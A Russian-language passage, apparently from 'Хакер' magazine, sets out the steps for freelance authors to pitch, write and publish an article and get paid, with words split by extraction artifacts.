ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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